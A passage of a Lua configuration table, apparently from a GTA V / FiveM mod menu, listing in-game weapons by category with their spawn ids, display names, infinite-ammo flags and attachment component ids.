'~s~~s~SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SMG_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_SMG_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, SMGMkII = { id = 'weapon_smg_mk2', name = '~s~~s~SMG Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SMG_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SMG_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_SMG_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_SMG_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_SMG_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS_SMG' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_SMG_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_SB_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_SB_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } } } }, AssaultSMG = { id = 'weapon_assaultsmg', name = '~s~~s~Assault SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTSMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTSMG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } } } }, CombatPDW = { id = 'weapon_combatpdw', name = '~s~~s~Combat PDW', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATPDW_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATPDW_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_COMBATPDW_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, MachinePistol = { id = 'weapon_machinepistol', name = '~s~~s~Machine Pistol ', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MACHINEPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MACHINEPISTOL_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_MACHINEPISTOL_CLIP_03' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, MiniSMG = { id = 'weapon_minismg', name = '~s~~s~Mini SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MINISMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MINISMG_CLIP_02' } } } }, UnholyHellbringer = { id = 'weapon_raycarbine', name = '~s~~s~Unholy Hellbringer', bInfAmmo = false, mods = {} } }, Shotguns = { PumpShotgun = { id = 'weapon_pumpshotgun', name = '~s~~s~Pump Shotgun', bInfAmmo = false, mods = { Flashlight = { { name = 'Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_SR_SUPP' } } } }, PumpShotgunMkII = { id = 'weapon_pumpshotgun_mk2', name = '~s~~s~Pump Shotgun Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_01' }, { name = '~s~~s~Dragon Breath Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Steel Buckshot Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~Flechette Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~Explosive Slugs', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_SR_SUPP_03' }, { name = '~s~~s~Squared Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_08' } } } }, SawedOffShotgun = { id = 'weapon_sawnoffshotgun', name = '~s~~s~Sawed-Off Shotgun', bInfAmmo = false, mods = {} }, AssaultShotgun = { id = 'weapon_assaultshotgun', name = '~s~~s~Assault Shotgun', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, BullpupShotgun = { id = 'weapon_bullpupshotgun', name = '~s~~s~Bullpup Shotgun', bInfAmmo = false, mods = { Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, Musket = { id = 'weapon_musket', name = '~s~~s~Musket', bInfAmmo = false, mods = {} }, HeavyShotgun = { id = 'weapon_heavyshotgun', name = '~s~~s~Heavy Shotgun', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_HEAVYSHOTGUN_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, DoubleBarrelShotgun = { id = 'weapon_dbshotgun', name = '~s~~s~Double Barrel Shotgun', bInfAmmo = false, mods = {} }, SweeperShotgun = { id = 'weapon_autoshotgun', name = '~s~~s~Sweeper Shotgun', bInfAmmo = false, mods = {} } }, AssaultRifles = { AssaultRifle = { id = 'weapon_assaultrifle', name = '~s~~s~Assault Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTRIFLE_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_ASSAULTRIFLE_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, AssaultRifleMkII = { id = 'weapon_assaultrifle_mk2', name = '~s~~s~Assault Rifle Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_AR_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_AR_BARREL_0' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, CarbineRifle = { id = 'weapon_carbinerifle', name = '~s~~s~Carbine Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_CARBINERIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_CARBINERIFLE_CLIP_02' }, { name = '~s~~s~Box Magazine', id = 'COMPONENT_CARBINERIFLE_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, CarbineRifleMkII = { id = 'weapon_carbinerifle_mk2', name = '~s~~s~Carbine Rifle Mk II ', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_CR_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_CR_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, AdvancedRifle = { id = 'weapon_advancedrifle', name = '~s~~s~Advanced Rifle ', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ADVANCEDRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ADVANCEDRIFLE_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } } } }, SpecialCarbine = { id = 'weapon_specialcarbine', name = '~s~~s~Special Carbine', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SPECIALCARBINE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SPECIALCARBINE_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_SPECIALCARBINE_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, SpecialCarbineMkII = { id = 'weapon_specialcarbine_mk2', name = '~s~~s~Special Carbine Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_SC_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_SC_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, BullpupRifle = { id = 'weapon_bullpuprifle', name = '~s~~s~Bullpup Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_BULLPUPRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_BULLPUPRIFLE_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, BullpupRifleMkII = { id = 'weapon_bullpuprifle_mk2', name = '~s~~s~Bullpup Rifle Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Armor Piercing Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_02_MK2' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_BP_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_BP_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, CompactRifle = { id = 'weapon_compactrifle', name = '~s~~s~Compact Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMPACTRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMPACTRIFLE_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_COMPACTRIFLE_CLIP_03' } } } } }, LMG = { MG = { id = 'weapon_mg', name = '~s~~s~MG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL_02' } } } }, CombatMG = { id = 'weapon_combatmg', name = '~s~~s~Combat MG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATMG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, CombatMGMkII = { id = 'weapon_combatmg_mk2', name = '~s~~s~Combat MG Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATMG_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATMG_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_MG_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_MG_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, GusenbergSweeper = { id = 'weapon_gusenberg', name = '~s~~s~GusenbergSweeper', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_GUSENBERG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_GUSENBERG_CLIP_02' } } } } }, Snipers = { SniperRifle = { id = 'weapon_sniperrifle', name = '~s~~s~Sniper Rifle', bInfAmmo = false, mods = { Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE' }, { name = '~s~~s~Advanced Scope', id = 'COMPONENT_AT_SCOPE_MAX' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } } } }, HeavySniper = { id = 'weapon_heavysniper', name = '~s~~s~Heavy Sniper', bInfAmmo = false, mods = { Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE' }, { name = '~s~~s~Advanced Scope', id = 'COMPONENT_AT_SCOPE_MAX' } } } }, HeavySniperMkII = { id = 'weapon_heavysniper_mk2', name = '~s~~s~Heavy Sniper Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_02' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Armor Piercing Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ' }, { name = '~s~~s~Explosive Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE' } }, Sights = { { name = '~s~~s~Zoom Scope', id = 'COMPONENT_AT_SCOPE_LARGE_MK2' }, { name = '~s~~s~Advanced Scope', id = 'COMPONENT_AT_SCOPE_MAX' }, { name = '~s~~s~Nigt Vision Scope', id = 'COMPONENT_AT_SCOPE_NV' }, { name = '~s~~s~Thermal Scope', id = 'COMPONENT_AT_SCOPE_THERMAL' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_SR_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_SR_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_SR_SUPP_03' }, { name = '~s~~s~Squared Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_08' }, { name = '~s~~s~Bell-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_09' } } } }, MarksmanRifle = { id = 'weapon_marksmanrifle', name = '~s~~s~Marksman Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MARKSMANRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MARKSMANRIFLE_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, MarksmanRifleMkII = { id = 'weapon_marksmanrifle_mk2', name = '~s~~s~Marksman Rifle Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' }, { name = '~s~~s~Zoom Scope', id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_MRFL_BARREL_01' }, { name = '~s~~s~Heavy', id = 